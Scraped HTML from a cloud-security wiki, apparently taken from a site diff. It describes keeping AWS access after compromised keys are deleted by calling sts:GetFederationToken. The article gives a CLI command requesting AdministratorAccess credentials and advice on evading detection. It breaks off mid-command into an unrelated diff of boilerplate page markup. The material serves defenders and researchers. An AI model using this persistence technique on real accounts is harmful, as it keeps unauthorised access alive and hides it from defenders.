class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Survive Access Key Deletion with sts:GetFederationToken</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <ul> <li><a href=https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ >How Adversaries Can Persist with AWS User Federation</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html>sts:GetFederationToken</a></li> </ul> </li> </ul> </div> <p>After identifying that <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >access keys</a> have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html><code>sts:GetFederationToken</code></a>, even if the original access keys have been deleted.</p> <p><code>sts:GetFederationToken</code> is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the <a href=https://docs.aws.amazon.com/STS/latest/APIReference/API_GetFederationToken.html>documentation</a>:</p> <ul> <li>You cannot call any IAM operations using the AWS CLI or the AWS API. </li> <li>You cannot call any AWS STS operations except <code>sts:GetCallerIdentity</code>.</li> </ul> <p>However, it is important to note that these limitations do not apply if an attacker generates a <a href=https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ >console session from IAM credentials</a>. By using the AWS console you could interact with the IAM service and perform actions such as <a href=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ >privilege escalation</a>, <a href=https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ >maintaining persistence</a>, etc.</p> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>If you are attempting to avoid detection, generating a console session from IAM credentials is <em>NOT</em> advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the <code>ConsoleLogin</code> CloudTrail event. If at all possible, only use the IAM credentials generated from <code>sts:GetFederationToken</code> in the CLI.</p> </div> <p>To create temporary IAM credentials using <code>sts:GetFederationToken</code>, you can use the following CLI command:</p> <div class=highlight><pre><span></span><code>aws<span class=w> </span>sts<span class=w> </span>get-federation-token<span class=w> </span><span class=se>\</span>
 --name<span class=w> </span>your_choice<span class=w> </span><span class=se>\</span>
 --policy-arns<span class=w> </span><span class=nv>arn</span><span class=o>=</span>arn:aws:iam::aws:policy/AdministratorAccess<span class=w> </span><span class=se>\</span>
 --duration-seconds<span class=w> </span><span class=m>129600</span>
diff --git a/aws/post_exploitation/user_data_script_persistence/index.html b/aws/post_exploitation/user_data_script_persistence/index.html
index 207b2f957..c4a538d48 100644
--- a/aws/post_exploitation/user_data_script_persistence/index.html
+++ b/aws/post_exploitation/user_data_script_persistence/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Maintain access to an EC2 instance and it's IAM role via user data scripts."><link href=https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ rel=canonical><link href=../survive_access_key_deletion_with_sts_getfederationtoken/ rel=prev><link href=../../deprecated/stealth_perm_enum/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>User Data Script Persistence - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="User Data Script Persistence - Hacking The Cloud"><meta property=og:description content="Maintain access to an EC2 instance and it's IAM role via user data scripts."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="User Data Script Persistence - Hacking The Cloud"><meta property=twitter:description content="Maintain access to an EC2 instance and it's IAM role via user data scripts."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Maintain access to an EC2 instance and it's IAM role via user data scripts."><link href=https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ rel=canonical><link href=../survive_access_key_deletion_with_sts_getfederationtoken/ rel=prev><link href=../../deprecated/stealth_perm_enum/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>User Data Script Persistence - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="User Data Script Persistence - Hacking The Cloud"><meta property=og:description content="Maintain access to an EC2 instance and it's IAM role via user data scripts."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="User Data Script Persistence - Hacking The Cloud"><meta property=twitter:description content="Maintain access to an EC2 instance and it's IAM role via user data scripts."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#modify-the-user-data-script class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> User Data Script Persistence </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> 